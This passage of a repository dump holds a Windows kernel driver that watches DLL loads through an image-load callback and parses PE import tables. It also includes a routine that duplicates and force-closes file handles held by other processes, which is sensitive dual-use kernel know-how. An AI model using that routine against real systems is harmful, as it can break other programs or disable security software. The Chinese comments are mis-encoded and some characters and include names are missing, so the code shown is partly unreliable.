UNICODE_STRING uniDosName;\r\n if (NT_SUCCESS(IoVolumeDeviceToDosName(FileObject->DeviceObject, &uniDosName)))\r\n {\r\n if (uniDosName.Buffer!=NULL)\r\n {\r\n wcsncpy(wzPath, uniDosName.Buffer, uniDosName.Length);\r\n wcsncat(wzPath, Temp->Name.Buffer + wcslen(szHarddiskVolume) + 1, Temp->Name.Length - (wcslen(szHarddiskVolume) + 1));\r\n bGetPath = TRUE;\r\n } \r\n ExFreePool(uniDosName.Buffer);\r\n }\r\n else if (NT_SUCCESS(RtlVolumeDeviceToDosName(FileObject->DeviceObject, &uniDosName)))\r\n {\r\n if (uniDosName.Buffer!=NULL)\r\n {\r\n wcsncpy(wzPath, uniDosName.Buffer, uniDosName.Length);\r\n wcsncat(wzPath, Temp->Name.Buffer + wcslen(szHarddiskVolume) + 1, Temp->Name.Length - (wcslen(szHarddiskVolume) + 1));\r\n bGetPath = TRUE;\r\n } \r\n ExFreePool(uniDosName.Buffer);\r\n }\r\n }\r\n else\r\n {\r\n // \"\\\\Device\\\\HarddiskVolume\" ʽͷģôֱӸơ\r\n wcsncpy(wzPath, Temp->Name.Buffer, Temp->Name.Length);\r\n bGetPath = TRUE;\r\n }\r\n }\r\n }\r\n ExFreePool(Buffer);\r\n }\r\n }\r\n }\r\n }\r\n }\r\n __except(1)\r\n {\r\n DbgPrint(\"GetPathByFileObject Catch __Except\\r\\n\");\r\n bGetPath = FALSE;\r\n }\r\n return bGetPath;\r\n}\r\n\r\n\r\nvoid MyProcessThread(PVOID pContext)\r\n{\r\n NTSTATUS Status;\r\n WCHAR* wzPath = (WCHAR*)pContext;\r\n //L\"\\\\??\\\\C:\\\\Documents and Settings\\\\Administrator\\\\\\\\Dll.dll\"\r\n UNICODE_STRING unicode;\r\n DbgPrint(\"First:%d\",PsGetCurrentProcessId());\r\n RtlInitUnicodeString(&unicode,wzPath);\r\n EnumIATByFileMapping(&unicode);\r\n PsTerminateSystemThread(STATUS_SUCCESS);\r\n}\r\n\r\n//ReadFileķʽҪתΪļƫ\r\nBOOLEAN EnumImportTable(PUNICODE_STRING uniDestFileFullPath)\r\n{\r\n PIMAGE_DOS_HEADER DosHead = NULL;\r\n PIMAGE_NT_HEADERS NtHead = NULL;\r\n PIMAGE_FILE_HEADER FileHead = NULL;\r\n PIMAGE_OPTIONAL_HEADER OptionHead = NULL;\r\n IMAGE_DATA_DIRECTORY ImportDirectory = {0}; //ѡͷеĽṹе\r\n PIMAGE_IMPORT_DESCRIPTOR ImportTable = NULL; \r\n PIMAGE_THUNK_DATA Thunk;\r\n char *szDllNam;\r\n HANDLE hFile = NULL;\r\n PVOID Buffer = NULL;\r\n ULONG ulLength = 0;\r\n LARGE_INTEGER Offset = {0};\r\n IO_STATUS_BLOCK Iosb;\r\n OBJECT_ATTRIBUTES oa;\r\n NTSTATUS Status = STATUS_SUCCESS;\r\n FILE_STANDARD_INFORMATION FileStandardInfor = {0};\r\n\r\n InitializeObjectAttributes(&oa,uniDestFileFullPath,OBJ_CASE_INSENSITIVE,NULL,NULL);\r\n\r\n// //ļ,ļhFile;\r\n// Status = ZwCreateFile(&hFile,GENERIC_READ,&oa,&Iosb,NULL,\r\n// FILE_ATTRIBUTE_NORMAL,\r\n// FILE_SHARE_READ|FILE_SHARE_WRITE,\r\n// FILE_OPEN,\r\n// FILE_SYNCHRONOUS_IO_NONALERT,\r\n// NULL,\r\n// 0);\r\n// \r\n// if(!NT_SUCCESS(Status))\r\n// {\r\n// return FALSE;\r\n// }\r\n// \r\n// Status = NtOpenFile(&hFile,GENERIC_READ|GENERIC_WRITE,&oa,&Iosb,\r\n// FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_NON_DIRECTORY_FILE);\r\n// \r\n// if(!NT_SUCCESS(Status))\r\n// {\r\n// return FALSE;\r\n// }\r\n\r\n Status = IoCreateFile(&hFile,\r\n GENERIC_READ,\r\n &oa,\r\n &Iosb,\r\n NULL,\r\n 0,\r\n FILE_SHARE_READ,\r\n FILE_OPEN_IF,\r\n FILE_SYNCHRONOUS_IO_NONALERT,\r\n NULL,\r\n 0,\r\n CreateFileTypeNone,\r\n NULL,\r\n IO_NO_PARAMETER_CHECKING\r\n );\r\n \r\n if (!NT_SUCCESS(Status))\r\n {\r\n return FALSE;\r\n }\r\n\r\n\r\n //ļϢ;\r\n //бļioջoutļϢ,ļСļϢࣿ;\r\n Status = ZwQueryInformationFile(hFile, &Iosb, &FileStandardInfor, sizeof(FILE_STANDARD_INFORMATION),\r\n FileStandardInformation);\r\n\r\n //ȡļϢʧֱܾӷ;\r\n if (!NT_SUCCESS(Status))\r\n {\r\n ZwClose(hFile);\r\n return FALSE;\r\n }\r\n\r\n //ļϢ,ֱӷ;\r\n if (FileStandardInfor.AllocationSize.u.LowPart == 0)\r\n {\r\n ZwClose(hFile);\r\n return FALSE;\r\n }\r\n\r\n //ļСռ;\r\n Buffer = (char*)ExAllocatePool(PagedPool,FileStandardInfor.AllocationSize.u.LowPart);\r\n\r\n //ʧܣظʧܲ;\r\n if (Buffer==NULL)\r\n {\r\n ZwClose(hFile);\r\n return FALSE;\r\n }\r\n\r\n //ȡļϢ;\r\n Status = ZwReadFile(hFile,\r\n NULL,\r\n NULL,\r\n NULL,\r\n &Iosb,\r\n Buffer ,\r\n FileStandardInfor.AllocationSize.u.LowPart,\r\n &Offset,\r\n NULL);\r\n\r\n //ȡʧ,;\r\n if (!NT_SUCCESS(Status))\r\n {\r\n ExFreePool(Buffer);\r\n ZwClose(hFile);\r\n return FALSE;\r\n }\r\n \r\n DosHead = (PIMAGE_DOS_HEADER)Buffer;\r\n if (DosHead->e_magic != 0x5A4D) //MZ\r\n {\r\n ZwClose(hFile);\r\n ExFreePool(Buffer);\r\n return FALSE;\r\n }\r\n\r\n //õNT ͷ\r\n NtHead = (PIMAGE_NT_HEADERS)((ULONG_PTR)Buffer + DosHead->e_lfanew);\r\n if (NtHead->Signature != 0x4550)\r\n {\r\n ZwClose(hFile);\r\n ExFreePool(Buffer);\r\n return FALSE;\r\n }\r\n\r\n //ļͷ\r\n FileHead = &(NtHead->FileHeader);\r\n if (FileHead->Machine == IMAGE_FILE_MACHINE_I386)\r\n {\r\n DbgPrint(\"32Bits File\");\r\n }\r\n else if(FileHead->Machine==IMAGE_FILE_MACHINE_AMD64 || FileHead->Machine==IMAGE_FILE_MACHINE_IA64)\r\n {\r\n DbgPrint(\"64Bits File\");\r\n }\r\n else\r\n {\r\n ZwClose(hFile);\r\n ExFreePool(Buffer);\r\n return FALSE;\r\n }\r\n\r\n //ѡͷ\r\n OptionHead = &(NtHead->OptionalHeader);\r\n\r\n //õ\r\n if(OptionHead->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress == 0) \r\n {\r\n ZwClose(hFile);\r\n ExFreePool(Buffer);\r\n return FALSE;\r\n }\r\n\r\n ImportDirectory = OptionHead->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];\r\n ImportTable = (PIMAGE_IMPORT_DESCRIPTOR)((ULONG_PTR)Buffer+ RVAToOffset(NtHead,ImportDirectory.VirtualAddress));\r\n\r\n while(ImportTable->OriginalFirstThunk)\r\n {\r\n //õDLLļ\r\n szDllNam=(char*)((BYTE*)Buffer+RVAToOffset(NtHead,ImportTable->Name));\r\n\r\n //ͨOriginalFirstThunkλPIMAGE_THUNK_DATAṹ\r\n Thunk =(PIMAGE_THUNK_DATA)(PVOID)(((BYTE*)Buffer + RVAToOffset(NtHead,ImportTable->OriginalFirstThunk)));\r\n while(Thunk->u1.Function)\r\n {\r\n //жϺúĻŵ\r\n if(Thunk->u1.Ordinal& IMAGE_ORDINAL_FLAG32)//λΪ1\r\n {\r\n //\r\n DbgPrint(\"ӴDLLģ鵼ĺţ%x\\n\",Thunk->u1.Ordinal & 0xFFFF);\r\n }\r\n else//λΪ0\r\n {\r\n //õIMAGE_IMPORT_BY_NAMEṹеĺ\r\n IMAGE_IMPORT_BY_NAME* ImportName=(IMAGE_IMPORT_BY_NAME*)((BYTE*)Buffer+RVAToOffset(NtHead,Thunk->u1.AddressOfData));\r\n DbgPrint(\"ӴDLLģ鵼ĺĺ%s\\n\",ImportName->Name);\r\n if(strcmp((char*)ImportName->Name, \"CreateThread\" ) == 0)\r\n {\r\n DbgPrint(\"Success\");\r\n\r\n } \r\n }\r\n\r\n Thunk++;\r\n }\r\n ImportTable++;\r\n }\r\n ZwClose(hFile);\r\n ExFreePool(Buffer);\r\n\r\n return TRUE;\r\n}\r\nULONG_PTR RVAToOffset(PIMAGE_NT_HEADERS NTHeader, ULONG_PTR ulRVA) \r\n{\r\n int i = 0;\r\n PIMAGE_SECTION_HEADER SectionHeader =\r\n (PIMAGE_SECTION_HEADER)((ULONG_PTR)NTHeader + sizeof(IMAGE_NT_HEADERS)); //ýڱ \r\n \r\n for( i = 0; i < NTHeader->FileHeader.NumberOfSections; i++)\r\n {\r\n //ѯĸڵ \r\n /***********************************************************************\r\n SectionHeader[i].VirtualAddress ʼRVA 0x1000\r\n SectionHeader[i].SizeOfRawData ļϵĴС\r\n SectionHeader[i].PointerToRawData ǽڻļƫPE װֵͨҵļеλ\r\n\r\n 絼.txt\r\n SectionHeader[i].PointerToRawData == 0x200 SectionHeader[i].VirtualAddress == 0x1000 \r\n ulRVA = 0x1030\r\n \r\n ôļеƫƾ0x230 \r\n ***********************************************************************/\r\n if(ulRVA >= SectionHeader[i].VirtualAddress && ulRVA < \r\n (SectionHeader[i].VirtualAddress \r\n + SectionHeader[i].SizeOfRawData))\r\n {\r\n //ļƫ\r\n return SectionHeader[i].PointerToRawData + \r\n (ulRVA - SectionHeader[i].VirtualAddress);\r\n }\r\n }\r\n \r\n return 0;\r\n}\r\n\r\n//CreateSectionļӳ䣬Ҫת\r\nBOOLEAN EnumIATByFileMapping(PUNICODE_STRING uniDestFileFullPath)\r\n{\r\n NTSTATUS _statu = STATUS_SUCCESS;\r\n IMAGE_THUNK_DATA * pFirstThunk ;\r\n IMAGE_THUNK_DATA * pOriginalFirstThunk;\r\n IMAGE_IMPORT_BY_NAME * pImpName;\r\n char* pimFuncName;\r\n ULONG * pThuk;\r\n ULONG * funcRva;\r\n ULONG dwCount = 0;\r\n UNICODE_STRING ptrDriverName;\r\n OBJECT_ATTRIBUTES oa;\r\n ANSI_STRING anStrPath;\r\n\r\n DbgPrint(\"Second:%d\",PsGetCurrentProcessId());\r\n _statu = MAPFILE_AND_GETBASE(uniDestFileFullPath);\r\n\r\n if(!NT_SUCCESS(_statu))\r\n {\r\n KdPrint((\" NTSTATUS = %X \\n\",_statu));\r\n return FALSE;\r\n }\r\n\r\n //DbgPrint((\" PNTKRNLPABASE->%0X ;\",PNTKRNLPABASE));\r\n DbgPrint(\" pImportDesc->%0X \\n\",pImportDesc);\r\n DbgPrint(\" MapFileBaseAddress->%0X \\n\",MapFileBaseAddress);\r\n \r\n dwCount = 1;\r\n while(pImportDesc->OriginalFirstThunk != 0)\r\n {\r\n pThuk = (ULONG*)((BYTE*)MapFileBaseAddress + pImportDesc->OriginalFirstThunk);\r\n funcRva = (ULONG*)((BYTE*)MapFileBaseAddress +pImportDesc->FirstThunk);\r\n \r\n // KdPrint((\" OriginalFirstThunk->%0X ; FirstThunk->%0X \\n\",pThuk,funcRva));\r\n while(*pThuk != 0)\r\n {\r\n //ҪСģڴӳеpThukƫƲǵַ\r\n pImpName = (IMAGE_IMPORT_BY_NAME *)((BYTE*)MapFileBaseAddress + *pThuk);\r\n DbgPrint(\" No. %d : Hint->%d; Name->%s; Address->%0X\\n\", dwCount, pImpName->Hint, (char*)pImpName->Name, *funcRva);\r\n \r\n if(strcmp((char*)pImpName->Name,\"CreateThread\")==0)\r\n {\r\n DbgPrint(\"Thrid:%d\",PsGetCurrentProcessId());\r\n }\r\n pThuk++;\r\n dwCount++;\r\n funcRva++;\r\n }\r\n pImportDesc++;\r\n }\r\n ZwUnmapViewOfSection(ZwCurrentProcess(),MapFileBaseAddress);\r\n ZwClose(hanSection);\r\n ZwClose(hFile);\r\n KdPrint((\" step->5->CloseFileHandle \\n\"));\r\n return TRUE;\r\n}\r\n\r\nNTSTATUS MAPFILE_AND_GETBASE(PUNICODE_STRING pDriverName)\r\n{\r\n SIZE_T size=0;\r\n IO_STATUS_BLOCK stataus;\r\n OBJECT_ATTRIBUTES oa ;\r\n NTSTATUS _stu;\r\n IMAGE_DOS_HEADER * ptrDosHeader;\r\n IMAGE_OPTIONAL_HEADER * ptrOptHeader;\r\n\r\n InitializeObjectAttributes(&oa,pDriverName,OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,NULL,NULL);\r\n DbgPrint((\" step->1 \\n\"));\r\n\r\n _stu = IoCreateFile(&hFile,\r\n GENERIC_READ,\r\n &oa,\r\n &stataus,\r\n NULL,\r\n 0,\r\n FILE_SHARE_READ|FILE_SHARE_DELETE,\r\n FILE_OPEN_IF,\r\n FILE_SYNCHRONOUS_IO_NONALERT,\r\n NULL,\r\n 0,\r\n CreateFileTypeNone,\r\n NULL,\r\n IO_NO_PARAMETER_CHECKING\r\n );\r\n DbgPrint(\" step->2->hFile->%0X \\n\",hFile);\r\n oa.ObjectName = 0;\r\n _stu = ZwCreateSection(&hanSection,SECTION_ALL_ACCESS,&oa,0,\r\n PAGE_EXECUTE_READWRITE, SEC_IMAGE, hFile);\r\n if (!NT_SUCCESS(_stu))\r\n {\r\n DbgPrint(\"<==============ZwCreateSection STATUS->ERROR : %0X \\n\",_stu);\r\n ZwClose(hFile);\r\n return _stu;\r\n }\r\n KdPrint((\" step->3->hanSection->%0X \\n\",hanSection));\r\n \r\n _stu = ZwMapViewOfSection(hanSection,ZwCurrentProcess(),\r\n &MapFileBaseAddress, 0, 1024,0, &size,\r\n ViewShare,MEM_TOP_DOWN, PAGE_READWRITE); \r\n if (!NT_SUCCESS(_stu))\r\n {\r\n KdPrint((\"<==============ZwMapViewOfSection STATUS->ERROR : %0X \\n\",_stu));\r\n ZwClose(hFile);\r\n ZwClose(hanSection);\r\n return _stu;\r\n }\r\n __try\r\n {\r\n if ((ULONG)MapFileBaseAddress < 0x80000000L)\r\n {\r\n ProbeForRead(MapFileBaseAddress,size,1L);\r\n }\r\n }__except(EXCEPTION_EXECUTE_HANDLER)\r\n {\r\n KdPrint((\" MapFileBaseAddress can not read \\n\"));\r\n ZwUnmapViewOfSection(ZwCurrentProcess(),MapFileBaseAddress);\r\n ZwClose(hFile);\r\n ZwClose(hanSection);\r\n return STATUS_ACCESS_DENIED;\r\n }\r\n KdPrint((\" step->4->mapFileBase->%0X \\n\",MapFileBaseAddress));\r\n \r\n /*ַPEIMAGE_DOS_HEADER*/\r\n ptrDosHeader = (IMAGE_DOS_HEADER *)MapFileBaseAddress;\r\n KdPrint((\" ptrDosHeader.e_magic-> %8X,ptrDosHeader.e_lfanew-> %8X \\n\",\r\n ptrDosHeader->e_magic,ptrDosHeader->e_lfanew));\r\n //λPE HEADER\r\n //ַhModIMAGE_DOS_HEADERṹe_lfanewԱIMAGE_NT_HEADERS\r\n //NTļͷǰ4ֽļǩ(\"PE00\" ַ),Ȼ20ֽڵIMAGE_FILE_HEADERṹ\r\n //IMAGE_OPTIONAL_HEADERṹĵַ,ȡһָIMAGE_OPTIONAL_HEADERṹָ\r\n ptrOptHeader = (IMAGE_OPTIONAL_HEADER *)((BYTE*)MapFileBaseAddress + ptrDosHeader->e_lfanew + 24);\r\n //λ\r\n //ͨIMAGE_OPTIONAL_HEADERṹеDataDirectoryṹеĵڶԱе\r\n //VirturalAddressֶζλIMAGE_IMPORT_DESCRIPTORṹʼַ\r\n //õеһIMAGE_IMPORT_DESCRIPTORṹָ(׵ַ)\r\n //DataDirectory[0]ǵ\r\n pImportDesc = (IMAGE_IMPORT_DESCRIPTOR*)\r\n ((BYTE*)MapFileBaseAddress + ptrOptHeader->DataDirectory[1].VirtualAddress);\r\n DbgPrint(\"fourth:%d\",PsGetCurrentProcessId());\r\n return _stu;\r\n}\r\n\r\nVOID UnicodeToChar(PUNICODE_STRING uniSource ,CHAR *szDest)\r\n{\r\n ANSI_STRING ansiTemp;\r\n RtlUnicodeStringToAnsiString(&ansiTemp,uniSource,TRUE);\r\n\r\n strcpy(szDest,ansiTemp.Buffer);\r\n RtlFreeAnsiString(&ansiTemp);\r\n}\r\nNTSTATUS ForceDeleteFileHandle(UNICODE_STRING uniFileFullPath)\r\n{\r\n NTSTATUS Status;\r\n PSYSTEM_HANDLE_INFOR SystemHandleInfor = NULL;\r\n PSYSTEM_HANDLE_TABLE_ENTRY_INFOR SystemHandleTableEntryInfor = NULL;\r\n ULONG ulLength = 0;\r\n ULONG i = 0;\r\n OBJECT_ATTRIBUTES oa;\r\n CLIENT_ID Cid;\r\n KIRQL OldIrql;\r\n HANDLE hCurrentProcess = NULL;\r\n HANDLE hTargetProcess = NULL;\r\n HANDLE hCurrentHandle = NULL;\r\n char szBuffer[260] = {0};\r\n POBJECT_NAME_INFORMATION NameInfor = NULL;\r\n\r\n NameInfor = (POBJECT_NAME_INFORMATION)szBuffer;\r\n\r\n Cid.UniqueProcess = PsGetCurrentProcessId(); //SystemID\r\n Cid.UniqueThread = 0;\r\n\r\n InitializeObjectAttributes(&oa,NULL,OBJ_KERNEL_HANDLE,NULL,NULL);\r\n\r\n Status = NtOpenProcess(&hCurrentProcess,PROCESS_ALL_ACCESS,&oa,&Cid); //System\r\n if (!NT_SUCCESS(Status))\r\n {\r\n return Status;\r\n }\r\n\r\n Status = ZwQuerySystemInformation(SystemHandleInformation,NULL,\r\n ulLength,&ulLength);\r\n\r\n if (Status == STATUS_INFO_LENGTH_MISMATCH)\r\n {\r\n SystemHandleInfor = (PSYSTEM_HANDLE_INFOR)ExAllocatePool(PagedPool,ulLength);\r\n if (SystemHandleInfor==NULL)\r\n {\r\n ZwClose(hCurrentProcess);\r\n return STATUS_INSUFFICIENT_RESOURCES;\r\n }\r\n\r\n Status = ZwQuerySystemInformation(SystemHandleInformation,SystemHandleInfor,\r\n ulLength,&ulLength);\r\n }\r\n\r\n if (!NT_SUCCESS(Status))\r\n {\r\n ZwClose(hCurrentProcess);\r\n ExFreePool(SystemHandleInfor);\r\n return Status;\r\n }\r\n\r\n for (i=0; iNumberOfHandles; i++)\r\n {\r\n SystemHandleTableEntryInfor = &SystemHandleInfor->Handles[i];\r\n\r\n if (SystemHandleTableEntryInfor->ObjectTypeIndex == OB_TYPE_FILE) //ļ\r\n {\r\n InitializeObjectAttributes(&oa,NULL,OBJ_KERNEL_HANDLE,NULL,NULL);\r\n\r\n Cid.UniqueProcess = (HANDLE)SystemHandleTableEntryInfor->UniqueProcessId;\r\n Cid.UniqueThread = 0;\r\n Status = NtOpenProcess(&hTargetProcess,PROCESS_DUP_HANDLE,&oa,&Cid);\r\n if (NT_SUCCESS(Status))\r\n {\r\n if (NT_SUCCESS(ZwDuplicateObject(hTargetProcess,(HANDLE)SystemHandleTableEntryInfor->HandleValue,hCurrentProcess,&hCurrentHandle,0,0,DUPLICATE_SAME_ACCESS)))\r\n {\r\n if (NT_SUCCESS(ZwQueryObject(hCurrentHandle,ObjectNameInformation,NameInfor,260,NULL)))\r\n {\r\n DbgPrint(\"%wZ\\r\\n\",&NameInfor->Name);\r\n if (RtlCompareUnicodeString(&NameInfor->Name,&uniFileFullPath,FALSE) == 0)\r\n {\r\n ZwClose(hCurrentHandle);\r\n OldIrql = KeRaiseIrqlToDpcLevel(); \r\n if (NT_SUCCESS(ZwDuplicateObject(hTargetProcess,(HANDLE)SystemHandleTableEntryInfor->HandleValue,hCurrentProcess,&hCurrentHandle,0,\r\n 0,DUPLICATE_CLOSE_SOURCE)))\r\n {\r\n ZwClose(hCurrentHandle);\r\n }\r\n KeLowerIrql(OldIrql);\r\n ZwClose(hTargetProcess);\r\n break;\r\n }\r\n }\r\n ZwClose(hCurrentHandle);\r\n }\r\n ZwClose(hTargetProcess);\r\n }\r\n }\r\n }\r\n\r\n ZwClose(hCurrentProcess);\r\n ExFreePool(SystemHandleInfor);\r\n return Status;\r\n}\r\n\r\nVOID UnloadDriver(PDRIVER_OBJECT DriverObject)\r\n{\r\n PsRemoveLoadImageNotifyRoutine((PLOAD_IMAGE_NOTIFY_ROUTINE)LoadImageNotifyRoutine);\r\n DbgPrint(\"UnloadDriver\\r\\n\");\r\n}\r\n" }, { "path": "LoadImageCallBack/LoadImageCallBack/ModuleCallBack.h", "content": "/***************************************************************************************\r\n* AUTHOR : MZ\r\n* DATE : 2015-8-13\r\n* MODULE : ModuleCallBack.H\r\n*\r\n* IOCTRL Sample Driver\r\n*\r\n* Description:\r\n* Demonstrates communications between USER and KERNEL.\r\n*\r\n****************************************************************************************\r\n* Copyright (C) 2010 MZ.\r\n****************************************************************************************/\r\n\r\n#ifndef CXX_MODULECALLBACK_H\r\n#define CXX_MODULECALLBACK_H\r\n\r\n\r\n#include \r\n#include \r\n#include \r\n\r\nVOID UnicodeToChar(PUNICODE_STRING uniSource ,CHAR *szDest);\r\nVOID LoadImageNotifyRoutine(PUNICODE_STRING FullImageName,HANDLE ProcessId,PIMAGE_INFO ImageInfor);\r\nNTSTATUS\r\n DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath);\r\n\r\n\r\nBOOLEAN EnumImportTable(PUNICODE_STRING uniDestFileFullPath);\r\nULONG_PTR RVAToOffset(PIMAGE_NT_HEADERS NTHeader, ULONG_PTR ulRVA);\r\nVOID UnloadDriver(PDRIVER_OBJECT DriverObject);\r\nULONG_PTR RVAToOffset(PIMAGE_NT_HEADERS NTHeader, ULONG_PTR ulRVA);\r\n#define MAX_TRANSFER_SIZE 0x1000\r\n\r\nextern \r\n UCHAR *\r\n PsGetProcessImageFileName(\r\n __in PEPROCESS Process\r\n );\r\n\r\nNTSTATUS MAPFILE_AND_GETBASE(PUNICODE_STRING pDriverName);\r\nBOOLEAN\r\n EnumIATByFileMapping(PUNICODE_STRING uniDestFileFullPath);\r\nNTSTATUS ForceDeleteFileHandle(UNICODE_STRING uniFileFullPath);\r\nvoid MyProcessThread(PVOID pContext);\r\n\r\nBOOLEAN GetPathByFileObject(PFILE_OBJECT FileObject, WCHAR* wzPath);\r\n\r\ntypedef enum _SYSTEM_HANDLE_TYPE\r\n{\r\n OB_TYPE_UNKNOWN =0, \r\n OB_TYPE_TYPE, \r\n OB_TYPE_DIRECTORY, \r\n OB_TYPE_SYMBOLIC_LINK,\r\n OB_TYPE_TOKEN, \r\n OB_TYPE_PROCESS, \r\n OB_TYPE_THREAD, \r\n OB_TYPE_JOB, \r\n OB_TYPE_DEBUG_OBJECT, \r\n OB_TYPE_EVENT, \r\n OB_TYPE_EVENT_PAIR, \r\n OB_TYPE_MUTANT, \r\n OB_TYPE_CALLBACK, \r\n OB_TYPE_SEMAPHORE, \r\n OB_TYPE_TIMER, \r\n OB_TYPE_PROFILE, \r\n OB_TYPE_KEYED_EVENT, \r\n OB_TYPE_WINDOWS_STATION,\r\n OB_TYPE_DESKTOP, \r\n OB_TYPE_SECTION, \r\n OB_TYPE_KEY, \r\n OB_TYPE_PORT, \r\n OB_TYPE_WAITABLE_PORT, \r\n OB_TYPE_ADAPTER, \r\n OB_TYPE_CONTROLLER, \r\n OB_TYPE_DEVICE, \r\n OB_TYPE_DRIVER, \r\n OB_TYPE_IOCOMPLETION,\r\n OB_TYPE_FILE, \r\n OB_TYPE_WMIGUID \r\n}SYSTEM_HANDLE_TYPE;\r\n\r\n\r\ntypedef enum _SYSTEM_INFORMATION_CLASS\r\n{\r\n SystemBasicInformation,\r\n SystemProcessorInformation, // obsolete...delete\r\n SystemPerformanceInformation,\r\n SystemTimeOfDayInformation,\r\n SystemPathInformation,\r\n SystemProcessInformation,\r\n SystemCallCountInformation,\r\n SystemDeviceInformation,\r\n SystemProcessorPerformanceInformation,\r\n SystemFlagsInformation,\r\n SystemCallTimeInformation,\r\n SystemModuleInformation,//\r\n SystemLocksInformation,\r\n SystemStackTraceInformation,\r\n SystemPagedPoolInformation,\r\n SystemNonPagedPoolInformation,\r\n SystemHandleInformation,\r\n SystemObjectInformation,\r\n SystemPageFileInformation,\r\n SystemVdmInstemulInformation,\r\n SystemVdmBopInformation,\r\n SystemFileCacheInformation,\r\n SystemPoolTagInformation,\r\n SystemInterruptInformation,\r\n SystemDpcBehaviorInformation,\r\n SystemFullMemoryInformation,\r\n SystemLoadGdiDriverInformation,\r\n SystemUnloadGdiDriverInformation,\r\n SystemTimeAdjustmentInformation,\r\n SystemSummaryMemoryInformation,\r\n SystemMirrorMemoryInformation,\r\n SystemPerformanceTraceInformation,\r\n SystemObsolete0,\r\n SystemExceptionInformation,\r\n SystemCrashDumpStateInformation,\r\n SystemKernelDebuggerInformation,\r\n SystemContextSwitchInformation,\r\n SystemRegistryQuotaInformation,\r\n SystemExtendServiceTableInformation,\r\n SystemPrioritySeperation,\r\n SystemVerifierAddDriverInformation,\r\n SystemVerifierRemoveDriverInformation,\r\n SystemProcessorIdleInformation,\r\n SystemLegacyDriverInformation,\r\n SystemCurrentTimeZoneInformation,\r\n SystemLookasideInformation,\r\n SystemTimeSlipNotification,\r\n SystemSessionCreate,\r\n SystemSessionDetach,\r\n SystemSessionInformation,\r\n SystemRangeStartInformation,\r\n SystemVerifierInformation,\r\n SystemVerifierThunkExtend,\r\n SystemSessionProcessInformation,\r\n SystemLoadGdiDriverInSystemSpace,\r\n SystemNumaProcessorMap,\r\n SystemPrefetcherInformation,\r\n SystemExtendedProcessInformation,\r\n SystemRecommendedSharedDataAlignment,\r\n SystemComPlusPackage,\r\n SystemNumaAvailableMemory,\r\n SystemProcessorPowerInformation,\r\n SystemEmulationBasicInformation,\r\n SystemEmulationProcessorInformation,\r\n SystemExtendedHandleInformation,\r\n SystemLostDelayedWriteInformation,\r\n SystemBigPoolInformation,\r\n SystemSessionPoolTagInformation,\r\n SystemSessionMappedViewInformation,\r\n SystemHotpatchInformation,\r\n SystemObjectSecurityMode,\r\n SystemWatchdogTimerHandler,\r\n SystemWatchdogTimerInformation,\r\n SystemLogicalProcessorInformation,\r\n SystemWow64SharedInformation,\r\n SystemRegisterFirmwareTableInformationHandler,\r\n SystemFirmwareTableInformation,\r\n SystemModuleInformationEx,\r\n SystemVerifierTriageInformation,\r\n SystemSuperfetchInformation,\r\n SystemMemoryListInformation,\r\n SystemFileCacheInformationEx,\r\n MaxSystemInfoClass \r\n} SYSTEM_INFORMATION_CLASS;\r\n\r\n\r\n\r\n\r\ntypedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFOR\r\n{\r\n USHORT UniqueProcessId;\r\n USHORT CreatorBackTraceIndex;\r\n UCHAR ObjectTypeIndex;\r\n UCHAR HandleAttributes;\r\n USHORT HandleValue;\r\n PVOID Object;\r\n ULONG GrantedAccess;\r\n} SYSTEM_HANDLE_TABLE_ENTRY_INFOR, *PSYSTEM_HANDLE_TABLE_ENTRY_INFOR;\r\n\r\ntypedef struct _SYSTEM_HANDLE_INFOR\r\n{\r\n ULONG NumberOfHandles;\r\n SYSTEM_HANDLE_TABLE_ENTRY_INFOR Handles[1];\r\n} SYSTEM_HANDLE_INFOR, *PSYSTEM_HANDLE_INFOR;\r\n\r\n#define ObjectNameInformation 1\r\n#endif \r\n" }, { "path": "LoadImageCallBack/LoadImageCallBack/ModuleCallBack.sln", "content": "Microsoft Visual Studio Solution File, Format Version 11.00\r\n# Visual Studio 2010\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"ModuleCallBack\", \"ModuleCallBack.vcxproj\", \"{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tWinDDK|Win32 = WinDDK|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.WinDDK|Win32.ActiveCfg = WinDDK|Win32\r\n\t\t{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.WinDDK|Win32.Build.0 = WinDDK|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n" }, { "path": "LoadImageCallBack/LoadImageCallBack/ModuleCallBack.vcxproj", "content": "\r\n\r\n \r\n \r\n WinDDK\r\n Win32\r\n \r\n \r\n \r\n {4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}\r\n Win32Proj\r\n \"ModuleCallBack\"\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n .sys\r\n false\r\n $(WLHBASE)\\bin\\x86\\x86;$(WLHBASE)\\bin\\x86\r\n $(WLHBASE)\\inc\\api;$(WLHBASE)\\inc\\crt;$(WLHBASE)\\inc\\ddk;$(WLHBASE)\\inc\r\n \r\n $(WLHBASE)\\lib\\win7\\i386\r\n \r\n \r\n \r\n \r\n \r\n _X86_;DBG=1\r\n false\r\n false\r\n StdCall\r\n CompileAsC\r\n \r\n \r\n \r\n \r\n ntoskrnl.lib;hal.lib;wdm.lib;%(AdditionalDependencies)\r\n \r\n \r\n true\r\n Native\r\n Driver\r\n DriverEntry\r\n true\r\n 0x10000\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n" }, { "path": "LoadImageCallBack/LoadImageCallBack/ReadMe.txt", "content": "use PsSetLoadImageNotifyRoutine to monitor DLL load\nwhen loading scan IAT\n" }, { "path": "LoadImageCallBack/LoadImageCallBack/common.h", "content": 